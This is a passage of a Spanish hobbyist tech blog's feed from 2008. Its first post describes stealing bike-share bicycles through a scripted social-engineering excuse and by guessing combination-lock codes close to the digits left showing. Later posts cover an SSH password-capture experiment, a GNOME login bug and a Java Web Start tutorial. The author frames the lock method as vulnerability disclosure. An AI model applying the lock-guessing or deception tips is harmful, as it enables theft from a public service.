el candado a una.&lt;br /&gt;- Como que no tengo la credencial?! La tengo aqui mismo! o que se cree? que me se de memoria todas las contraseñas de las 300 bicis que tiene el servicio? (rebusco en mi mochila, bolsillo, etc...) Coño! pues menos mal que ha ocurrido esto! me he dejado la tarjeta con el chico que me atendio!&lt;br /&gt;&lt;br /&gt;Y huimos xD. Hay que tener cuidado, a lo mejor no se podra usar este dialogo... CREATIVIDAD!&lt;br /&gt;&lt;br /&gt;Con esto queda mostrada una vulnerabilidad en el sistema de biciambiental. Las contraseñas son de varios usos, esta vulnerabilidad se da debido a un mal diseño del sistema, la solucion seria modificar esta metodologia.&lt;br /&gt;&lt;br /&gt;Sin embargo aqui no acaba todo, hay otra vulnerabilidad que tambien permite la obtencion de bicicletas. Esta vulnerabilidad es causada debido por un lado al sistema que se usa (contraseñas de multiples usos) a la infraestructura que se usa (candados de combinacion numerica... 10000 numeros para ser exactos) y el contacto con el que, por desgracia, siempre es el eslabon mas debil en los aspectos de seguridad, el ser humano. Para presentarlo expondre un ejemplo.&lt;br /&gt;&lt;br /&gt;Alice cogio una bicicleta de forma legal, se dio su paseito con ella y ahora va a devolverla. Antes de devolver su credencial aparca la bici en el correspondiente sitio y le pone el candado y lo cierra. Luego devuelve la credencial enseñando su DNI y ya esta, Alice ya no es responsable de la bici.&lt;br /&gt;&lt;br /&gt;Bob, que estaba atento, a los pasos (probablemente monitorizando mediante sniffing xD), espero a que Alice se fuera para tranquilamente ir al aparcamiento de las bicicletas y probar una tecnica de cracking ideada por el mismo. Consite en que el humano (medio) es muy vago y no tiene cuidado con la seguridad de las cosas (menos aun si no son suyas), lo que ha ocasionado que cuando Alice cerro el candado de la bici MOVIO MUY POCOS NUMEROS, dejando practicamente la contraseña al completo. Bob vio que en el candado habia un 4677, probo a poner 5677 y que casualidad! se abrio el candado y se pudo llevar la bici sin enteractuar con gente de la oficina, ni siquiera tiene que estar dado de alta en el servicio. Un robo practicamente imposible de seguir.&lt;br /&gt;&lt;br /&gt;La metodologia de cracking de Bob se ha basado en lo que ya se comento, el humano a la hora de cerrar un candado tiende a dejar practicamente la totalidad de la contraseña marcada y ademas los pocos digitos que no pertenecen a la contraseña suelen estar cercanos a los digitos de contraseña real. En un caso generico:&lt;br /&gt;&lt;br /&gt;Dado un candado que tiene el numero XYZW y cuya contraseña real es ABCD (X, Y, Z, W, A, B, C y D son digitos del 0-9) es bastante posible que ABCD sea "cercana" a XYZW, entendiendo por cercana que la &lt;a href="http://es.wikipedia.org/wiki/Distancia_de_Levenshtein"&gt;distancia de levenshtein&lt;/a&gt; entre XYZW y ABCD es pequeña. Segun mis pocos rigurosos estudios con una distancia de 2 es mas que suficiente para poder crackear algun candado de los presentes y normalmente con distancia 1 sobra. Adicionalmente hay que hacer ver que ambas cadenas son de tamaño fijo y por tanto las operaciones de adicion de caracter y eliminacion de caracter definidas por las distancia de levenshtein son superfluas, pues la unica operacion que hace falta es la de sustitucion de caracter.&lt;br /&gt;&lt;br /&gt;Para poner un ejemplo (aunque prefiero la definicion):&lt;br /&gt;XYZW = 4677 ==&gt; ABCD podria estar en el conjunto [3677, 5677, 4577, 4777, 4667, 4687, 4676, 4678].&lt;br /&gt;&lt;br /&gt;En este ejemplo se ha enseñado un subconjunto de las cadenas con DL (Distancia de Levenshtein) 1 a la adena 4677, adicionalmente se ha usado la heuristica de que es mas probable que la contraseña real tenga digitos cercanos a la secuencia visible en el candado. Si vemos un 4 es mas probable que la contraseña real tenga en esa posicion un 3, un 4 o un 5 que un 7.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hay mas vulnerabilidades en el sistema, pero estas dos son realmente grandes. Me pregunto si biciambiental es consciente de ello y si lo pretenden arreglar o no... No voy a proponer soluciones porque ya me extiendo demasiado.&lt;br /&gt;&lt;br /&gt;NOTA: No useis mal este conocimiento. Con este texto pretendo dos cosas. Por un lado exponer conocimiento, simplemente dar a conocer este hecho. Por otro lado espero que esto sirva para que personas alejadas con la seguridad de la informacion aprendan y vean como estos conocimientos son aplicables mas alla de las fronteras de un mero ordenador y que la escencia es exactamente la misma, lo unico que cambia son los elementos a su alrededor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-2798919818736956677?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/2798919818736956677/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=2798919818736956677' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2798919818736956677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2798919818736956677'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/12/cracking-biciambiental.html' title='Cracking biciambiental'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-8562724543273709985</id><published>2008-11-04T08:50:00.002Z</published><updated>2008-11-04T08:53:08.731Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ñ'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Bug en la ventana de entrada de GNOME</title><content type='html'>Entrada rapida, justo ahora probe a cambiar mi contraseña y a logearme con ventanitas y no pude, lo intente unas cuantas veces y nada, me dio por probarlo desde una terminal y pude logearme... Motivo de no poder logearme en ventanas? Le puse una ñ a mi contraseña xD... no lo tengo muy probado pero es la conclusion rapida a la que llegue... cambie la contraseña desde consola y luego me logee desde las ventanas y caso resuelto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-8562724543273709985?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/8562724543273709985/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=8562724543273709985' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8562724543273709985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8562724543273709985'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/11/bug-en-la-ventana-de-entrada-de-gnome.html' title='Bug en la ventana de entrada de GNOME'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4776039140525093405</id><published>2008-10-25T12:41:00.002Z</published><updated>2008-10-25T12:44:11.700Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='subversion'/><category scheme='http://www.blogger.com/atom/ns#' term='manual'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><title type='text'>Manual de Subversion</title><content type='html'>O no escribo nada en meses o escribo dos post seguidos en dos dias xD.&lt;br /&gt;&lt;br /&gt;Bueno, ultimamente estoy intentando administrar un servidor de subversion asinn que estoy leyendo cosas, peleandome un poco y aprendiendo. He encontrado &lt;a href="http://svnbook.red-bean.com/nightly/es/index.html"&gt;este&lt;/a&gt; manual que esta en español y es muy completo... para dudas puntuales a lo mejor es algo gordo, pero parece estar bien indexado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4776039140525093405?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4776039140525093405/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4776039140525093405' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4776039140525093405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4776039140525093405'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/10/manual-de-subversion.html' title='Manual de Subversion'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3611499559147502275</id><published>2008-10-24T09:19:00.003Z</published><updated>2008-10-25T13:05:49.893Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sistemas'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Una vez que se es root</title><content type='html'>Bueno, como llevamos tiempo sin escribir nada voy a comentar una cosita.&lt;br /&gt;&lt;br /&gt;Todos (o mejor dicho, todos los que alguna vez visitan este blog) han soñado alguna vez con ser un "super jaquer chupi guay" de esos que guiñando un ojo te roban la contraseña del "jormeil" y tal y cual. Bueno... yo no soy de esos.&lt;br /&gt;&lt;br /&gt;A mi me gusta meterme dentro del sistema (gnu/linux principalmente) y ver que cojones hay por dentro y como funciona, al principio es un coñazo, pero cuando ya uno empieza a ver mas o menos como esta organizado todo (o casi todo) y mas o menos sabe como moverse y sabe usar bibliografia, referencias (y egrep :-) y demas pues todo empieza a ser mas entretenido.&lt;br /&gt;&lt;br /&gt;Una vez probe a ver hasta que punto podia llegar con conocimientos de como funciona la memoria de un proceso y me dije "oye, si un demonio de ssh recibe una contraseña en un mensaje (que evidentemente esta cifrado) tendra que descrifrar el mensaje para coger esa contraseña en TEXTO CLARO y luego volverla a cifrar usando el algoritmo propio que use el sistema en el que esta corriendo (normalmente en gnu/linux se usa md5), pero durante un pequeño periodo de tiempo a fin de cuentas estara en texto claro". Asinn que me puse a investigar un poquillo e intente pillarme mis contraseñas robandoselas al mas que seguro servidor openssh... y lo logre, de una forma un tanto cutre, pero me pille mis contraseñas.&lt;br /&gt;&lt;br /&gt;Esto es una tonteria porque solo lo puedo hacer si soy root en el sistema y hablando claro... ser root de un sistema es serlo todo asinn que tampoco tiene demasiado merito, pero me sirvio para practicar unas cuantas cosas, programacion de modulos, organizacion del sistema, intrusion, stealthing, etc...&lt;br /&gt;&lt;br /&gt;Pueden proponerme formas de hacerlo y las analizamos para ver si son correctas o no... Es que ultimamente me aburro un poco, estoy disperso...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3611499559147502275?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3611499559147502275/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3611499559147502275' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3611499559147502275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3611499559147502275'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/10/una-vez-que-se-es-root.html' title='Una vez que se es root'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3693447572430835110</id><published>2008-07-27T16:14:00.019Z</published><updated>2009-02-04T20:05:57.250Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Despliega aplicaciones por la red con un simple click</title><content type='html'>La tecnología &lt;a href="http://en.wikipedia.org/wiki/Java_Web_Start"&gt;Java Web Start&lt;/a&gt; permite descargar, ejecutar y mantener actualizada una aplicación en cualquier sistema con una maquina virtual de java.&lt;br /&gt;&lt;br /&gt;Por ejemplo: Haciendo click sobre el icono "Launch", descargaras y ejecutaras en tu maquina una aplicación de escritorio que está alojada en los servidores de Sun.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://java.sun.com/docs/books/tutorialJWS/ui/PasswordStore.jnlp"&gt;&lt;img style="cursor: pointer; width: 108px; height: 28px;" src="http://java.sun.com/docs/books/tutorial/images/jws-launch-button.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;La siguiente vez que ejecutes la aplicación, ésta se auto-actualizará antes de volver a ejecutarse en tu equipo. Existen varios &lt;a href="http://java.sun.com/j2se/1.5.0/docs/guide/javaws/developersguide/development.html#security"&gt;niveles de ejecución&lt;/a&gt;, además es posible proponer al usuario la creación de un icono de acceso rápido y también mostrar una imagen personalizada durante la carga.&lt;br /&gt;&lt;br /&gt;Para distribuir cualquier aplicación java con este sistema debemos &lt;a href="http://java.sun.com/docs/books/tutorial/deployment/jar/index.html"&gt;empaquetarla en un ".jar&lt;/a&gt;", crear un archivo ".jnlp" y subirlos a un &lt;a href="http://java.sun.com/docs/books/tutorial/deployment/webstart/deploying.html#server"&gt;servidor web configurado&lt;/a&gt; adecuadamente.&lt;br /&gt;&lt;br /&gt;Vamos a ver como sería esto ahorrándonos el servidor web. Es decir, alojando la aplicación en nuestro propio disco:&lt;br /&gt;&lt;br /&gt;Primero crearemos una clase "Example.java" que mostrará un simple diálogo de texto.&lt;br /&gt;&lt;br /&gt;&lt;pre style=""&gt;&lt;span style=""&gt;import&lt;/span&gt;&lt;span style=""&gt; javax&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;swing&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;JFrame&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;import&lt;/span&gt;&lt;span style=""&gt; javax&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;swing&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;span style=""&gt;JOptionPane&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;public&lt;/span&gt; &lt;span style=""&gt;class&lt;/span&gt; Example &lt;span style=""&gt;extends&lt;/span&gt; JFrame &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;private&lt;/span&gt; &lt;span style=""&gt;static&lt;/span&gt; &lt;span style=""&gt;final&lt;/span&gt; &lt;span style=""&gt;long&lt;/span&gt; serialVersionUID &lt;span style=""&gt;=&lt;/span&gt; &lt;span style=""&gt;1&lt;/span&gt;&lt;span style=""&gt;L&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;public&lt;/span&gt; Example&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style=""&gt;super&lt;/span&gt;&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;"Mi Ventana"&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; JOptionPane&lt;span style=""&gt;.&lt;/span&gt;showMessageDialog&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;this&lt;/span&gt;&lt;span style=""&gt;,&lt;/span&gt; &lt;span style=""&gt;"Hola, Mundo!"&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style=""&gt;this&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;pack&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span style=""&gt;this&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;setVisible&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;true&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;public&lt;/span&gt; &lt;span style=""&gt;static&lt;/span&gt; &lt;span style=""&gt;void&lt;/span&gt; main&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;String&lt;/span&gt;&lt;span style=""&gt;[&lt;/span&gt;&lt;span style=""&gt;]&lt;/span&gt; args&lt;span style=""&gt;)&lt;/span&gt; &lt;span style=""&gt;throws&lt;/span&gt; &lt;span style=""&gt;Exception&lt;/span&gt; &lt;span style=""&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style=""&gt;new&lt;/span&gt; Example&lt;span style=""&gt;(&lt;/span&gt;&lt;span style=""&gt;)&lt;/span&gt;&lt;span style=""&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Luego la compilamos y empaquetamos sus binarios en un ".jar"&lt;br /&gt;&lt;pre style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; color: rgb(0, 0, 0); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;javac Example&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;java&lt;br /&gt;jar cf Example&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;jar Example&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;class&lt;br /&gt;&lt;/pre&gt;(El archivo de manifiesto debe indicar la clase de entrada de la aplicacion)&lt;br /&gt;&lt;br /&gt;Por último creamos el archivo "Ejemplo.jnlp" que define ciertos parámetros de la aplicación.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;jnlp codebase&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;file:/home/user/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt; href&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;Example.jnlp&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;information&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;title&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;Titulo&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;title&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;vendor&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;Vendedor&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;vendor&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;information&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;resources&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;j2se version&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;1.4+&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;jar href&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;Example.jar&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;jar&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;application&lt;span style="color: rgb(128, 128, 48);"&gt;-&lt;/span&gt;desc class&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;Example&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;application&lt;span style="color: rgb(128, 128, 48);"&gt;-&lt;/span&gt;desc&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;j2se&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;resources&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;jnlp&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y ya podemos hacer click sobre Example.jnlp o bien ejecutar la ordern "javaws Example.jnlp"&lt;br /&gt;&lt;br /&gt;(Lo marcado en rojo arriba indica la ruta donde tengamos nuestro Ejemplo.jar.)&lt;br /&gt;&lt;br /&gt;Añadir que en .NET existe algo parecido llamado &lt;a href="http://en.wikipedia.org/wiki/ClickOnce"&gt;ClickOnce&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enlaces:&lt;br /&gt;&lt;a href="http://java.sun.com/javase/technologies/desktop/javawebstart/"&gt;Java Web Start Technology&lt;/a&gt;&lt;br /&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/deployment/webstart/index.html"&gt;Java Tutorials Lesson: Java Web Start&lt;/a&gt;&lt;br /&gt;&lt;a href="http://java.sun.com/j2se/1.5.0/docs/guide/javaws/developersguide/contents.html"&gt;Java Web Start Guide&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3693447572430835110?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3693447572430835110/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3693447572430835110' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3693447572430835110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3693447572430835110'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/07/despliega-aplicaciones-por-la-red-con.html' title='Despliega aplicaciones por la red con un simple click'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4313457029055829179</id><published>2008-07-08T12:08:00.002Z</published><updated>2008-07-08T12:17:31.835Z</updated><title type='text'>RFC-1</title><content type='html'>Hoy traigo una curiosidad friki de las mías.&lt;br /&gt;&lt;br /&gt;¿No se han preguntado nunca cuál es el primer RFC de todos?, pues yo hasta hace 5 minutos tampoco :D.&lt;br /&gt;&lt;br /&gt;El primer RFC data del 7 de Abril de 1969 (antes de que el hombre llegase a la luna y todo) y trata sobre el tipo de software que deben utilizar los hosts para comunicarse entre ellos. No una clase de software concreto sino más bien la arquitectura de este, lo que debe y no debe hacer y que problemática hay en esto de la comunicación.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.faqs.org/ftp/rfc/rfc1.txt"&gt;http://www.faqs.org/ftp/rfc/rfc1.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4313457029055829179?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4313457029055829179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4313457029055829179' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4313457029055829179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4313457029055829179'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/07/rfc-1.html' title='RFC-1'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-810170597137400162</id><published>2008-05-19T17:58:00.004Z</published><updated>2008-05-19T18:48:22.586Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='Ken Thompson'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>El mejor backdoor de todos los tiempos</title><content type='html'>Hoy me dió por instalarme el programa fortune así que sin más dilación hice:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sudo pacman -S fortune-mod&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego me puse a ver que paquetes de mensajes para fortune había en el repositorio y me encontré con el &lt;a href="http://catb.org/jargon/"&gt;jargon file&lt;/a&gt;!, lo instalé:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sudo pacman -S fortune-mod-jargon&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Para quién no lo sepa, fortune, es un programa antiguo de UNIX (creado para BSD creo) que simplemente te escribe aleatoriamente un mensaje de todos los que tiene en unos ficheros. En mi caso están en /usr/share/fortune/, abrí jargon y ví que era el diccionario hacker, así que me puse a buscar cosas que se me ocurrían: C, virus, hacker, UNIX y acabé buscando Ken Thompson.&lt;br /&gt;&lt;br /&gt;Cito textualmente una parte de la definición:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Historically, back doors have often lurked in systems longer than&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   anyone expected or 